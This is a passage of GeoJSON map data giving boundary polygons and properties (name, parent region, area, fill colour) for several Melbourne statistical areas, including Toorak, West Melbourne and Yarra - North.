45.0312195,-37.7574692],[145.0306549,-37.7574577],[145.0303192,-37.7574196],[145.0301514,-37.7574196],[145.0297699,-37.7574806],[145.02948,-37.7575493],[145.0293427,-37.7575989],[145.0292206,-37.7576904],[145.0290985,-37.7577896],[145.0290222,-37.7580299],[145.0290985,-37.7581787],[145.0291748,-37.7584076],[145.0293121,-37.7587395],[145.0293427,-37.7588997],[145.0294189,-37.7590904],[145.0295105,-37.7591972],[145.0295563,-37.7592506],[145.0296478,-37.7594185],[145.0297241,-37.7595978],[145.0298615,-37.7598076],[145.029953,-37.7600288],[145.0299225,-37.7602272],[145.0298004,-37.7604103],[145.0296326,-37.7605591],[145.0292511,-37.7607689],[145.029007,-37.7609177],[145.028717,-37.7611275],[145.0285492,-37.7612877],[145.0285034,-37.7613487],[145.0284119,-37.7614975],[145.0283813,-37.7616272],[145.028183,-37.7619209],[145.0279999,-37.7622986],[145.0279388,-37.7623901],[145.0279236,-37.7625084],[145.0279083,-37.7625999],[145.0278931,-37.7626801],[145.0278931,-37.7627678],[145.0278931,-37.7628784],[145.0278625,-37.7630577],[145.0278625,-37.7631607],[145.0278625,-37.7632904],[145.0278473,-37.7633781],[145.027832,-37.7634697],[145.027832,-37.763588],[145.027832,-37.7637405],[145.027832,-37.7637901],[145.0278168,-37.7638206],[145.0278778,-37.7639999],[145.0280304,-37.7640991],[145.0283508,-37.7642097],[145.0284729,-37.7642479],[145.028595,-37.7642708],[145.028717,-37.7642975],[145.0287933,-37.7643204],[145.0288696,-37.7643509],[145.0289612,-37.7643776],[145.029068,-37.7644005],[145.0291748,-37.7644386],[145.0293579,-37.7644997],[145.0294189,-37.7645302],[145.02948,-37.7645607],[145.029541,-37.7645798],[145.0296326,-37.7645988],[145.0297546,-37.7646294],[145.0298462,-37.7646599],[145.029953,-37.7646904],[145.0300598,-37.7647285],[145.0301971,-37.7647781],[145.030304,-37.7648201],[145.0304108,-37.7648506],[145.0305328,-37.7649078],[145.0306091,-37.7649574],[145.0307007,-37.7650299],[145.0307617,-37.76511],[145.0308228,-37.7651978],[145.030899,-37.7653885],[145.0309448,-37.7654991],[145.0309906,-37.7656288],[145.0310211,-37.7657585],[145.0311127,-37.7659988],[145.0311432,-37.7661095],[145.0311584,-37.7662086],[145.0311737,-37.7662888],[145.031189,-37.7663803],[145.031189,-37.766468],[145.0312042,-37.7665596],[145.031189,-37.7666283],[145.0305939,-37.7665596],[145.0285492,-37.7663498],[145.0274048,-37.7662277],[145.0264893,-37.7661285],[145.0246124,-37.7659302],[145.0215149,-37.7655983],[145.0203705,-37.76548],[145.0192413,-37.765358],[145.0181122,-37.7652397],[145.0170288,-37.7651291],[145.015976,-37.7650185],[145.0122528,-37.7646179],[145.0104523,-37.7644272],[145.0087585,-37.7642479],[145.0075073,-37.7641106],[145.006546,-37.7639999],[145.0053711,-37.7638702],[145.0042419,-37.7637482],[145.0032196,-37.7636299],[145.0027924,-37.763588],[145.0023193,-37.7635307],[145.0018616,-37.7634773],[145.0010223,-37.7633896],[145.0004272,-37.7633209],[145.0003052,-37.7633095],[144.9998016,-37.7632599],[144.9999084,-37.7626877],[144.9993439,-37.7626305],[144.9992828,-37.762619],[144.998764,-37.762558],[144.9977112,-37.7624397],[144.9969025,-37.7622795],[144.9963531,-37.7622185],[144.9956665,-37.7621384],[144.995224,-37.7620888],[144.9950104,-37.7620583],[144.994339,-37.7619781],[144.993454,-37.761879],[144.9927521,-37.7617989],[144.992691,-37.7620506],[144.9873657,-37.7614288],[144.987381,-37.7613602],[144.987442,-37.7610779],[144.9875031,-37.7607307],[144.9876251,-37.7600479],[144.9878082,-37.7590981],[144.9879913,-37.7581787],[144.9854126,-37.7578773],[144.98526,-37.7578773],[144.9844971,-37.7577972],[144.9837494,-37.7577209],[144.9806824,-37.7573509],[144.9801636,-37.7572899],[144.9798737,-37.7564583],[144.9797821,-37.7562599],[144.9796906,-37.7556496],[144.979599,-37.7553673],[144.9795532,-37.7552109],[144.9794922,-37.7550697],[144.9794617,-37.7550087],[144.9794617,-37.7549706],[144.9795074,-37.7548676],[144.9796295,-37.7547684],[144.9796448,-37.7547073],[144.9795685,-37.7546196],[144.9795074,-37.7545509],[144.9792938,-37.7543678],[144.9792328,-37.7542191],[144.9792938,-37.7539978],[144.9793396,-37.7539101],[144.9794312,-37.7537575],[144.9797516,-37.7533493],[144.97995,-37.7531586],[144.9801178,-37.7530403],[144.9802246,-37.7530098],[144.9804535,-37.7529488],[144.9804993,-37.7529182],[144.9806213,-37.7528305],[144.9807739,-37.7526894],[144.9808197,-37.7526779],[144.9810791,-37.7526894],[144.9811401,-37.7526588],[144.9812164,-37.7525978],[144.9812622,-37.7525673]]]}},{"type":"Feature","properties":{"SA2_NAME":"Toorak","polygonId":69,"SA3_NAME":"Stonnington - West","AREASQKM":4.3233,"fillColor":"#B1DD2F","strokeColor":"#B1DD2F","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[145.0046844,-37.8405876],[145.004715,-37.8404999],[145.0048065,-37.8400002],[145.0049133,-37.8394203],[145.0050507,-37.8386192],[145.0050812,-37.8385391],[145.005249,-37.8377075],[145.0053253,-37.8373108],[145.0054321,-37.8367996],[145.005722,-37.8353195],[145.0061035,-37.8332787],[145.0061188,-37.833168],[145.0062561,-37.8324776],[145.0063629,-37.8320007],[145.0064392,-37.8315697],[145.0067596,-37.8316574],[145.0071716,-37.8317299],[145.007431,-37.8317909],[145.0076752,-37.8318672],[145.0079041,-37.8320198],[145.0081635,-37.8321991],[145.0083618,-37.8323708],[145.0084991,-37.8325386],[145.0086212,-37.8327484],[145.0088654,-37.833168],[145.0090027,-37.8333282],[145.00914,-37.8334389],[145.0093384,-37.8335075],[145.0095367,-37.8335381],[145.0096893,-37.833519],[145.0098724,-37.8334198],[145.0100708,-37.8332672],[145.0102997,-37.8330688],[145.0104523,-37.8328705],[145.0105133,-37.8326607],[145.0105591,-37.8323898],[145.0106201,-37.8319397],[145.0106812,-37.8316879],[145.0108337,-37.831459],[145.0110168,-37.8312798],[145.0113831,-37.8310585],[145.0119629,-37.8307381],[145.0122833,-37.8306007],[145.0125122,-37.8305397],[145.012619,-37.8305206],[145.0127106,-37.8305092],[145.0129089,-37.8304977],[145.0131378,-37.8305397],[145.0134583,-37.8306198],[145.0137329,-37.8306999],[145.0139313,-37.8307495],[145.0141907,-37.8308601],[145.0143738,-37.8309402],[145.01474,-37.8311386],[145.0151215,-37.8313484],[145.0154114,-37.8315392],[145.015686,-37.8316879],[145.016098,-37.8318901],[145.0163422,-37.8320084],[145.0166473,-37.8322105],[145.0168152,-37.8322487],[145.0170288,-37.8322372],[145.0172729,-37.8321609],[145.0175629,-37.8320389],[145.0179596,-37.8318596],[145.0183105,-37.8317108],[145.0185699,-37.8316498],[145.0189056,-37.8316193],[145.019165,-37.8316193],[145.0194244,-37.8316574],[145.0198059,-37.8317375],[145.0200806,-37.8318176],[145.0202789,-37.8318787],[145.0207214,-37.8319893],[145.0209961,-37.832058],[145.0211639,-37.8321304],[145.0217133,-37.8323402],[145.022171,-37.8326797],[145.0222015,-37.8327675],[145.0222931,-37.8329773],[145.0223694,-37.83321],[145.0224304,-37.8334999],[145.022522,-37.8337402],[145.0226898,-37.8339996],[145.0229034,-37.8341675],[145.0232086,-37.8342896],[145.0235596,-37.8343697],[145.0239563,-37.8344307],[145.0244293,-37.8344879],[145.0245514,-37.8344994],[145.0246124,-37.8344879],[145.0247498,-37.8346672],[145.0249023,-37.8347893],[145.0250092,-37.8348885],[145.0251312,-37.8350182],[145.0252991,-37.8352203],[145.0254059,-37.8353081],[145.0254974,-37.8353996],[145.025589,-37.8354874],[145.0257721,-37.835659],[145.0258789,-37.8357697],[145.0264587,-37.8363075],[145.0266571,-37.8365173],[145.0269012,-37.8367386],[145.0270233,-37.8368492],[145.0271912,-37.836998],[145.0273132,-37.8371086],[145.0274048,-37.8371696],[145.0276337,-37.8373489],[145.027832,-37.8375282],[145.0279083,-37.8376007],[145.0280609,-37.8376694],[145.0284119,-37.83778],[145.0284729,-37.8377876],[145.0291595,-37.8378181],[145.0298157,-37.8378372],[145.029892,-37.8378372],[145.0304108,-37.8378105],[145.0307617,-37.8377495],[145.0309753,-37.8376808],[145.0310974,-37.8376274],[145.031189,-37.8375778],[145.0312653,-37.8375282],[145.0313873,-37.8374481],[145.0314789,-37.8373909],[145.0316162,-37.8373375],[145.0316925,-37.8373108],[145.0317688,-37.8372879],[145.0318909,-37.8372803],[145.0321045,-37.8372803],[145.0323181,-37.8373108],[145.0325317,-37.8373299],[145.0326691,-37.8373489],[145.0325317,-37.8382072],[145.0322723,-37.8396683],[145.0322418,-37.8398285],[145.0317535,-37.839798],[145.031601,-37.8406372],[145.0315399,-37.8409805],[145.0315094,-37.8409805],[145.0315094,-37.8410378],[145.0314484,-37.8413696],[145.0314636,-37.8414497],[145.0314484,-37.8415108],[145.0313568,-37.8419609],[145.0313568,-37.8419685],[145.0313416,-37.8420105],[145.0311432,-37.8431702],[145.0310516,-37.8436394],[145.0310516,-37.8437195],[145.0314178,-37.8437576],[145.0315247,-37.8437805],[145.0313568,-37.8446999],[145.031189,-37.8455772],[145.0309601,-37.8467407],[145.0309296,-37.8469009],[145.0306702,-37.8482704],[145.0306091,-37.848629],[145.0303802,-37.8498077],[145.0302429,-37.8505974],[145.0302124,-37.850708],[145.0300446,-37.8516197],[145.0296631,-37.8515701],[145.02948,-37.8515472],[145.0285645,-37.851429],[145.0279083,-37.8513374],[145.0275574,-37.8512878],[145.026886,-37.8512077],[145.0254364,-37.8510208],[145.0248413,-37.8509407],[145.0241394,-37.8508377],[145.0237274,-37.8507881],[145.0225983,-37.8506393],[145.0214386,-37.8504906],[145.020462,-37.8503609],[145.0202942,-37.850338],[145.0197296,-37.8502693],[145.0188751,-37.8501587],[145.0182648,-37.8500786],[145.0177765,-37.8500099],[145.016861,-37.8498878],[145.0154877,-37.8497086],[145.0124207,-37.8492889],[145.0123138,-37.8492775],[145.0122833,-37.8492699],[145.0103607,-37.8490295],[145.0097809,-37.8489494],[145.009201,-37.8488808],[145.00914,-37.8488693],[145.0086975,-37.8488083],[145.0078583,-37.8486977],[145.0074158,-37.8486481],[145.0071564,-37.8486099],[145.0067749,-37.8485603],[145.0062256,-37.8484879],[145.0053101,-37.8483696],[145.0044556,-37.848259],[145.0037689,-37.8481789],[145.0031738,-37.8480988],[145.0032806,-37.8476105],[145.0033722,-37.8471298],[145.003479,-37.8466606],[145.0035706,-37.8461876],[145.0037384,-37.8453979],[145.0037689,-37.8452072],[145.0038605,-37.84478],[145.0039215,-37.8445206],[145.0039215,-37.8444481],[145.0040131,-37.8440094],[145.0040741,-37.843708],[145.0042114,-37.8429985],[145.0042572,-37.8427582],[145.0043182,-37.8424797],[145.0043793,-37.8420792],[145.0044403,-37.8417892],[145.0044708,-37.8416977],[145.0045166,-37.8414307],[145.0045471,-37.8413086],[145.0045929,-37.8410797],[145.0046692,-37.8406677],[145.0046844,-37.8405876]]]}},{"type":"Feature","properties":{"SA2_NAME":"West Melbourne","polygonId":58,"SA3_NAME":"Melbourne City","AREASQKM":6.1992,"fillColor":"#DEE318","strokeColor":"#DEE318","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9075775,-37.8061295],[144.9076691,-37.8059082],[144.9082184,-37.8045998],[144.908432,-37.8041496],[144.9085999,-37.8037605],[144.908905,-37.8031273],[144.9092712,-37.8024101],[144.9095917,-37.8017998],[144.9101105,-37.8010483],[144.910202,-37.8009186],[144.9104004,-37.8006287],[144.910675,-37.8003387],[144.9109802,-37.8000984],[144.9113464,-37.7998695],[144.9116974,-37.7997284],[144.9120636,-37.7996292],[144.9124146,-37.7995682],[144.9127655,-37.7995682],[144.9131165,-37.7996101],[144.9134827,-37.7997398],[144.9137573,-37.7999802],[144.9140625,-37.8001785],[144.9144135,-37.8002472],[144.9147949,-37.8002281],[144.9150696,-37.8001099],[144.9154663,-37.7998276],[144.9158783,-37.7994576],[144.9161987,-37.7990799],[144.9163818,-37.7987595],[144.9165039,-37.7983589],[144.9164886,-37.7982101],[144.9197235,-37.7987099],[144.9220428,-37.7990379],[144.9256592,-37.7995605],[144.9258118,-37.7994385],[144.9260406,-37.799469],[144.9271851,-37.7996483],[144.9276428,-37.799839],[144.9296417,-37.8001785],[144.9323578,-37.8008194],[144.9341888,-37.8014107],[144.9358978,-37.8022804],[144.9365234,-37.8025589],[144.937851,-37.8030777],[144.9394989,-37.8043404],[144.9410248,-37.805378],[144.9412079,-37.8055992],[144.9412994,-37.8057098],[144.9414368,-37.8058395],[144.9418335,-37.8061485],[144.9418945,-37.8063202],[144.9420013,-37.80653],[144.942627,-37.8073196],[144.9428101,-37.8075676],[144.9433594,-37.8082695],[144.9438324,-37.8088875],[144.9443359,-37.8095207],[144.9447632,-37.8100586],[144.9451904,-37.8105888],[144.9456024,-37.8111076],[144.9459686,-37.8115692],[144.9460144,-37.8116379],[144.9454346,-37.8118591],[144.9452362,-37.812088],[144.9450836,-37.8120575],[144.944931,-37.8120499],[144.9447021,-37.8120689],[144.9437103,-37.812458],[144.943512,-37.8125191],[144.9433289,-37.8125381],[144.9431763,-37.8125381],[144.9430237,-37.8125],[144.9428711,-37.8124504],[144.9420166,-37.8119507],[144.9413605,-37.8115997],[144.9408112,-37.8113289],[144.940094,-37.8109703],[144.9391022,-37.8105087],[144.9385071,-37.8102684],[144.937912,-37.8100471],[144.9372253,-37.8098373],[144.9367828,-37.8097191],[144.9359589,-37.8095703],[144.9354248,-37.8095093],[144.9350128,-37.8094482],[144.9347229,-37.8101501],[144.9346924,-37.8103104],[144.9346619,-37.8105278],[144.9346924,-37.8119087],[144.934433,-37.8126678],[144.9342499,-37.8129005],[144.9341278,-37.8137093],[144.934082,-37.8138885],[144.934021,-37.8143578],[144.9339447,-37.8146973],[144.9338379,-37.8151398],[144.9337311,-37.8155098],[144.9334259,-37.8164673],[144.9328613,-37.8180199],[144.932373,-37.8192673],[144.9321594,-37.8198586],[144.931839,-37.8207283],[144.9318237,-37.8208275],[144.9314117,-37.8207893],[144.931427,-37.8206902],[144.9309692,-37.8206406],[144.9309387,-37.8207207],[144.9279633,-37.8204002],[144.9279785,-37.8203201],[144.9271393,-37.8202286],[144.9271393,-37.8201981],[144.9269409,-37.820179],[144.9269257,-37.8202095],[144.9268036,-37.8201904],[144.9268036,-37.8201599],[144.9263611,-37.8201103],[144.9263458,-37.8201408],[144.9255524,-37.8200607],[144.9255524,-37.8200188],[144.9251404,-37.8199806],[144.9251251,-37.8200073],[144.9247894,-37.8199806],[144.9203644,-37.8200302],[144.9197693,-37.8200302],[144.9173889,-37.8203773],[144.9157867,-37.82061],[144.9128571,-37.8210373],[144.9128723,-37.8211098],[144.9120026,-37.8214378],[144.9119415,-37.8214302],[144.9116821,-37.8214874],[144.9114532,-37.8216209],[144.9113312,-37.8216095],[144.9109802,-37.8217201],[144.9104614,-37.8218307],[144.9101105,-37.8219872],[144.9098511,-37.8220406],[144.9095154,-37.8222275],[144.9082336,-37.8227272],[144.9070282,-37.8232994],[144.9055634,-37.8228798],[144.9061279,-37.8222504],[144.9065094,-37.8215904],[144.9066315,-37.8210182],[144.906601,-37.8201675],[144.9064789,-37.819149],[144.9062347,-37.818119],[144.905838,-37.8167877],[144.9055939,-37.8158989],[144.9054718,-37.8153801],[144.9054413,-37.8152885],[144.9054413,-37.8142395],[144.9054565,-37.813488],[144.9055634,-37.8127708],[144.9057159,-37.8118706],[144.9059296,-37.8111382],[144.9061127,-37.8104897],[144.9062195,-37.8101196],[144.9062805,-37.8097878],[144.906311,-37.8095093],[144.9063721,-37.8091583],[144.9064331,-37.8088379],[144.9066925,-37.8082809],[144.9069519,-37.8076286],[144.907196,-37.8070183],[144.9075775,-37.8061295]]]}},{"type":"Feature","properties":{"SA2_NAME":"Yarra - North","polygonId":76,"SA3_NAME":"Yarra","AREASQKM":5.2089,"fillColor":"#F7E620","strokeColor":"#F7E620","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[145.0279388,-37.7813606],[145.0286713,-37.7812195],[145.0300598,-37.7809601],[145.0311432,-37.7807579],[145.0322571,-37.7805481],[145.0334167,-37.7803307],[145.0339203,-37.7802391],[145.0344391,-37.780098],[145.0345612,-37.7800598],[145.0346832,-37.7800179],[145.0347748,-37.7799683],[145.0348816,-37.7799187],[145.0349731,-37.7798576],[145.0350647,-37.7798004],[145.0351562,-37.7797279],[145.0352325,-37.7796478],[145.0358124,-37.7790489],[145.035965,-37.7788773],[145.0360718,-37.7788887],[145.0361328,-37.7789078],[145.0361786,-37.7789307],[145.0362549,-37.7789688],[145.0363312,-37.7790108],[145.036377,-37.7790375],[145.0364227,-37.77911],[145.0364838,-37.7791901],[145.0365295,-37.7794189],[145.0365601,-37.7794876],[145.0365906,-37.7795181],[145.0366669,-37.7795601],[145.0367584,-37.7795982],[145.03685,-37.7796288],[145.0370026,-37.7796402],[145.0371399,-37.7796402],[145.0372314,-37.7796478],[145.0373077,-37.7796478],[145.0373535,-37.7796288],[145.037384,-37.7796288],[145.0373993,-37.7796173],[145.0374451,-37.7796097],[145.0375214,-37.7795677],[145.0375519,-37.7795601],[145.0375824,-37.7795486],[145.0376434,-37.7795296],[145.0376892,-37.7795105],[145.037735,-37.77948],[145.0378113,-37.7793884],[145.0378571,-37.7793274],[145.0379028,-37.7792778],[145.0379791,-37.7792282],[145.0380402,-37.7792091],[145.0381012,-37.7791786],[145.0381317,-37.7791672],[145.0381775,-37.7791672],[145.0382233,-37.7791786],[145.0382843,-37.7791977],[145.0383911,-37.7792282],[145.0384979,-37.7792778],[145.0385742,-37.7793274],[145.03862,-37.779438],[145.03862,-37.7795486],[145.0385895,-37.7796898],[145.0385742,-37.7798195],[145.0385742,-37.7798691],[145.0385437,-37.7799606],[145.0384979,-37.7800407],[145.0384827,-37.7800903],[145.0384521,-37.7801895],[145.0384216,-37.7802696],[145.0384216,-37.7803001],[145.0384216,-37.7803574],[145.0384064,-37.7804108],[145.0383606,-37.7804375],[145.038269,-37.7804985],[145.0382233,-37.780529],[145.0381775,-37.7805405],[145.0381012,-37.7805481],[145.0379791,-37.7805595],[145.0379028,-37.7805786],[145.0378723,-37.7805977],[145.0378418,-37.7806282],[145.0378418,-37.7806702],[145.0378418,-37.7807198],[145.0378418,-37.7807503],[145.0378876,-37.7808189],[145.0379333,-37.78088],[145.0379639,-37.7809181],[145.0380096,-37.7809982],[145.0380402,-37.7810707],[145.0380707,-37.7812004],[145.0380554,-37.7812691],[145.0380096,-37.7813492],[145.0379639,-37.7813873],[145.0379028,-37.7814674],[145.037735,-37.781559],[145.0377045,-37.7815781],[145.0376892,-37.7815895],[145.037674,-37.7815895],[145.0376129,-37.7816086],[145.0375519,-37.78162],[145.0374451,-37.7816086],[145.0373535,-37.7815895],[145.0372925,-37.781559],[145.0372009,-37.7815399],[145.0371552,-37.7815285],[145.0370789,-37.7815208],[145.0370178,-37.7815208],[145.0369873,-37.7815208],[145.0369415,-37.7815475],[145.0368958,-37.7816086],[145.0368805,-37.7816696],[145.0368652,-37.7817574],[145.03685,-37.7818375],[145.03685,-37.7819176],[145.03685,-37.7819672],[145.0368652,-37.7820206],[145.0368805,-37.7820587],[145.0369568,-37.7821503],[145.0369873,-37.7821999],[145.0370331,-37.7822495],[145.0370636,-37.7822876],[145.0371094,-37.7823181],[145.0371704,-37.7823372],[145.0372009,-37.7823486],[145.037262,-37.7823792],[145.0373383,-37.7823982],[145.0373993,-37.7824097],[145.0374603,-37.7824097],[145.0375214,-37.7823982],[145.0375824,-37.7823982],[145.037674,-37.7823982],[145.0377502,-37.7824402],[145.037796,-37.7824974],[145.0378113,-37.7825775],[145.0378418,-37.7826576],[145.0378418,-37.7827187],[145.0378571,-37.7827682],[145.0378876,-37.7828178],[145.0378723,-37.7828598],[145.0378723,-37.782959],[145.0378876,-37.7830276],[145.0379181,-37.7831078],[145.0379181,-37.7831497],[145.0379181,-37.7831879],[145.0379333,-37.7832375],[145.0379639,-37.7832985],[145.0381165,-37.7834473],[145.0381775,-37.7835007],[145.038269,-37.7835503],[145.0383606,-37.7835693],[145.0384521,-37.7835693],[145.0385132,-37.7835693],[145.03862,-37.7835693],[145.0388336,-37.7835693],[145.0389404,-37.7835884],[145.0390472,-37.7836075],[145.0391388,-37.7836494],[145.0392303,-37.78368],[145.0393372,-37.7837296],[145.0394897,-37.7837906],[145.0397339,-37.7839279],[145.0397797,-37.7839699],[145.0399475,-37.7840881],[145.0400238,-37.7841377],[145.0401001,-37.7841873],[145.0401917,-37.7842178],[145.0400543,-37.784729],[145.0400696,-37.7849083],[145.0400848,-37.785038],[145.0401459,-37.7851486],[145.0402374,-37.7852402],[145.0403595,-37.7853088],[145.0404663,-37.7853584],[145.0405884,-37.7854004],[145.040802,-37.7854385],[145.0409393,-37.7854576],[145.0410614,-37.7854576],[145.0411835,-37.7854195],[145.0412903,-37.7853584],[145.0414429,-37.7852898],[145.0415497,-37.7851791],[145.0416565,-37.7850876],[145.0417633,-37.7850189],[145.0418701,-37.7849808],[145.0422363,-37.7848701],[145.0425262,-37.7847977],[145.0429077,-37.7847099],[145.0431519,-37.7846603],[145.043335,-37.7846107],[145.0435944,-37.7845306],[145.0437927,-37.7844582],[145.0439758,-37.7843781],[145.0441589,-37.7842674],[145.044281,-37.7841797],[145.0444031,-37.7840996],[145.0445404,-37.7840309],[145.0447083,-37.7839584],[145.0448303,-37.7839279],[145.0449524,-37.7839203],[145.0450287,-37.7839203],[145.0450897,-37.7839394],[145.0451813,-37.783989],[145.0452423,-37.7840691],[145.0452728,-37.7841988],[145.0452728,-37.7843208],[145.0452271,-37.78442],[145.0451508,-37.7845497],[145.0450287,-37.784729],[145.0449219,-37.7848778],[145.0447998,-37.7849884],[145.044693,-37.78508],[145.0444946,-37.7852898],[145.0443115,-37.7855186],[145.0441437,-37.7857399],[145.0439301,-37.7860184],[145.0437012,-37.7863388],[145.0435791,-37.7865105],[145.0435181,-37.7866096],[145.0433502,-37.7867889],[145.0432434,-37.7868881],[145.0431213,-37.7869606],[145.0429993,-37.7869873],[145.0428467,-37.7869987],[145.0427094,-37.7869682],[145.042572,-37.7869072],[145.04245,-37.7868309],[145.0423431,-37.7867279],[145.0422516,-37.7866402],[145.0421906,-37.7865372],[145.0421295,-37.7863808],[145.0420837,-37.7862206],[145.0419922,-37.7860985],[145.0419006,-37.7859993],[145.0417633,-37.7859383],[145.041626,-37.7859192],[145.0415192,-37.7859306],[145.0414124,-37.7859573],[145.0413361,-37.7860107],[145.0412445,-37.7860985],[145.0411377,-37.7862396],[145.0410461,-37.7863579],[145.0409698,-37.786499],[145.0409393,-37.7865982],[145.0409241,-37.7867088],[145.0409393,-37.7868195],[145.0409851,-37.7869377],[145.0410309,-37.7870407],[145.0411377,-37.7871475],[145.0412598,-37.7872696],[145.0415192,-37.7875404],[145.0416107,-37.7876892],[145.0416718,-37.7878609],[145.0417175,-37.7880974],[145.0417175,-37.7882195],[145.041687,-37.7883072],[145.0416412,-37.7884598],[145.0415955,-37.7886505],[145.0415344,-37.7888184],[145.0414124,-37.7890587],[145.0413055,-37.7892685],[145.0411835,-37.7894402],[145.0410156,-37.7895889],[145.040863,-37.789669],[145.0406189,-37.7897301],[145.0406036,-37.7897301],[145.0404205,-37.7897606],[145.0401001,-37.7897682],[145.0396729,-37.7897606],[145.0391388,-37.7897606],[145.0378876,-37.7897301],[145.0373383,-37.7897491],[145.0367126,-37.7897491],[145.0358429,-37.7897491],[145.0354614,-37.7897682],[145.0350037,-37.7897987],[145.0336609,-37.7898674],[145.0334167,-37.7898903],[145.0330963,-37.7899208],[145.0327911,-37.7899475],[145.0323792,-37.789959],[145.0321045,-37.789959],[145.0319672,-37.7899399],[145.0318909,-37.7899284],[145.031662,-37.7898903],[145.0315094,-37.7898178],[145.031311,-37.7897186],[145.0310974,-37.7896004],[145.0308533,-37.7894402],[145.0306396,-37.7893372],[145.0304718,-37.789238],[145.030304,-37.7891197],[145.0298157,-37.7888374],[145.0298004,-37.7888298],[145.0296021,-37.7886772],[145.02948,-37.788578],[145.0294037,-37.7884903],[145.0293121,-37.7883606],[145.0292206,-37.7881775],[145.029007,-37.787838],[145.0288391,-37.78759],[145.0287323,-37.7874107],[145.0286102,-37.7871704],[145.0285339,-37.7870598],[145.0283508,-37.7869606],[145.028183,-37.7868881],[145.0279388,-37.78685],[145.027771,-37.78685],[145.0276337,-37.7868576],[145.0273895,-37.7868996],[145.0270691,-37.7869492],[145.0265198,-37.7869797],[145.0262604,-37.7869682],[145.026062,-37.7869377],[145.0258179,-37.7868881],[145.0255432,-37.7868004],[145.0254517,-37.7867584],[145.025238,-37.7867203],[145.0248718,-37.7866173],[145.0246124,-37.7865372],[145.0243835,-37.7864876],[145.0241394,-37.7864685],[145.0239105,-37.7864609],[145.0236359,-37.7864685],[145.0233307,-37.7864685],[145.0231476,-37.7864685],[145.0230408,-37.7864685],[145.0225067,-37.7864799],[145.0222626,-37.7865601],[145.0220642,-37.7866592],[145.0218811,-37.7867775],[145.0217438,-37.78685],[145.0215912,-37.7868881],[145.0213013,-37.7869301],[145.0211182,-37.7869492],[145.0209198,-37.7869606],[145.0207214,-37.7869186],[145.0205231,-37.7868576],[145.0203247,-37.7867699],[145.0202637,-37.7867508],[145.0200195,-37.7866478],[145.0197754,-37.7865677],[145.0195312,-37.786499],[145.0192108,-37.7864189],[145.0189667,-37.7863808],[145.0187225,-37.7863503],[145.0185089,-37.7863274],[145.0184174,-37.7863007],[145.0178528,-37.7861595],[145.0174103,-37.786068],[145.0169373,-37.7859879],[145.0167999,-37.7859688],[145.0161591,-37.7858505],[145.0153503,-37.7857285],[145.0146027,-37.7856483],[145.013916,-37.7855797],[145.0138855,-37.7855797],[145.0136108,-37.7855797],[145.013504,-37.7855682],[145.0133209,-37.7855873],[145.0131683,-37.7856598],[145.013092,-37.7857399],[145.0130615,-37.7858582],[145.0131226,-37.7860298],[145.0132294,-37.7861977],[145.013382,-37.7863693],[145.0136871,-37.7865181],[145.0140228,-37.7867088],[145.0143127,-37.786869],[145.014679,-37.7871475],[145.0149994,-37.7874184],[145.0154724,-37.7877884],[145.0158844,-37.7881584],[145.0161743,-37.7884178],[145.0163879,-37.7886009],[145.0166626,-37.7888985],[145.0169373,-37.7892494],[145.0171967,-37.7896881],[145.0173492,-37.7898979],[145.0175476,-37.7901077],[145.0177765,-37.7903709],[145.0179596,-37.7905502],[145.0181122,-37.7907104],[145.0184631,-37.7910576],[145.0188293,-37.7913895],[145.019104,-37.7916489],[145.0193481,-37.7919006],[145.0195007,-37.7921181],[145.0195923,-37.7922974],[145.0196228,-37.7925072],[145.0195923,-37.7926674],[145.019516,-37.792778],[145.0193634,-37.7928505],[145.0191345,-37.7928696],[145.0188599,-37.7928581],[145.0185394,-37.7928085],[145.0182037,-37.7927399],[145.0179596,-37.7926903],[145.0177612,-37.7926903],[145.0171814,-37.7926407],[145.0169067,-37.7926102],[145.0164948,-37.7925606],[145.0160522,-37.792469],[145.0156097,-37.7923393],[145.0148468,-37.7921104],[145.0145569,-37.7920799],[145.014328,-37.7920799],[145.0141296,-37.7921104],[145.0140228,-37.7921791],[145.013916,-37.7923203],[145.0138702,-37.7925377],[145.0138702,-37.7929382],[145.0138397,-37.7933578],[145.0138397,-37.7935982],[145.0139008,-37.7938385],[145.0139771,-37.7939796],[145.0140991,-37.7941284],[145.0142212,-37.7942505],[145.0144196,-37.7943306],[145.0148468,-37.7945099],[145.0151215,-37.7946472],[145.0154419,-37.7947998],[145.0157928,-37.7949409],[145.0161743,-37.7950706],[145.0166321,-37.7951889],[145.0170288,-37.7952576],[145.0174103,-37.79533],[145.0176086,-37.7954102],[145.0177307,-37.7954903],[145.017868,-37.795639],[145.0179138,-37.7957687],[145.0179291,-37.7959099],[145.0178528,-37.7960587],[145.0176697,-37.7962303],[145.0174713,-37.7964973],[145.0174103,-37.7966995],[145.0174408,-37.7969894],[145.0175476,-37.7971878],[145.0177002,-37.7972984],[145.0180511,-37.7974205],[145.0182648,-37.7975082],[145.0185394,-37.7976379],[145.0188599,-37.7977486],[145.0195007,-37.7979584],[145.0198669,-37.7980309],[145.0201874,-37.7980804],[145.0204468,-37.7981186],[145.0206299,-37.7981987],[145.020752,-37.7982788],[145.0208588,-37.7984085],[145.0209045,-37.7985306],[145.0209045,-37.7986488],[145.0208588,-37.7987976],[145.0207214,-37.7989197],[145.0205078,-37.7990494],[145.0202332,-37.7991905],[145.0197296,-37.7993889],[145.0192871,-37.7995605],[145.0189819,-37.7996902],[145.0187683,-37.7998085],[145.0185852,-37.7999687],[145.0185547,-37.8000183],[145.0185089,-37.8000984],[145.0185089,-37.8002396],[145.0185547,-37.8003807],[145.018692,-37.8005409],[145.0188293,-37.8006592],[145.0190582,-37.800808],[145.0193634,-37.8010406],[145.0196533,-37.8012772],[145.0201111,-37.8016586],[145.0205688,-37.8021088],[145.0207367,-37.8022499],[145.0208435,-37.8023605],[145.0209808,-37.8024788],[145.0210571,-37.8026199],[145.0210876,-37.8027496],[145.0210724,-37.8028603],[145.0209503,-37.80299],[145.0206757,-37.8031883],[145.0203094,-37.8033791],[145.0199738,-37.8035393],[145.0196533,-37.8036194],[145.0194702,-37.8036575],[145.0193329,-37.8036575],[145.0190125,-37.8035889],[145.018692,-37.8034973],[145.0183563,-37.8034096],[145.0181427,-37.8033791],[145.0179596,-37.80336],[145.0177612,-37.8033485],[145.0172424,-37.8032608],[145.0167694,-37.8031197],[145.0163422,-37.802948],[145.0159607,-37.8027077],[145.0157166,-37.8025703],[145.0155792,-37.8024483],[145.0154724,-37.8023109],[145.0154114,-37.8021202],[145.0153351,-37.8017502],[145.0152893,-37.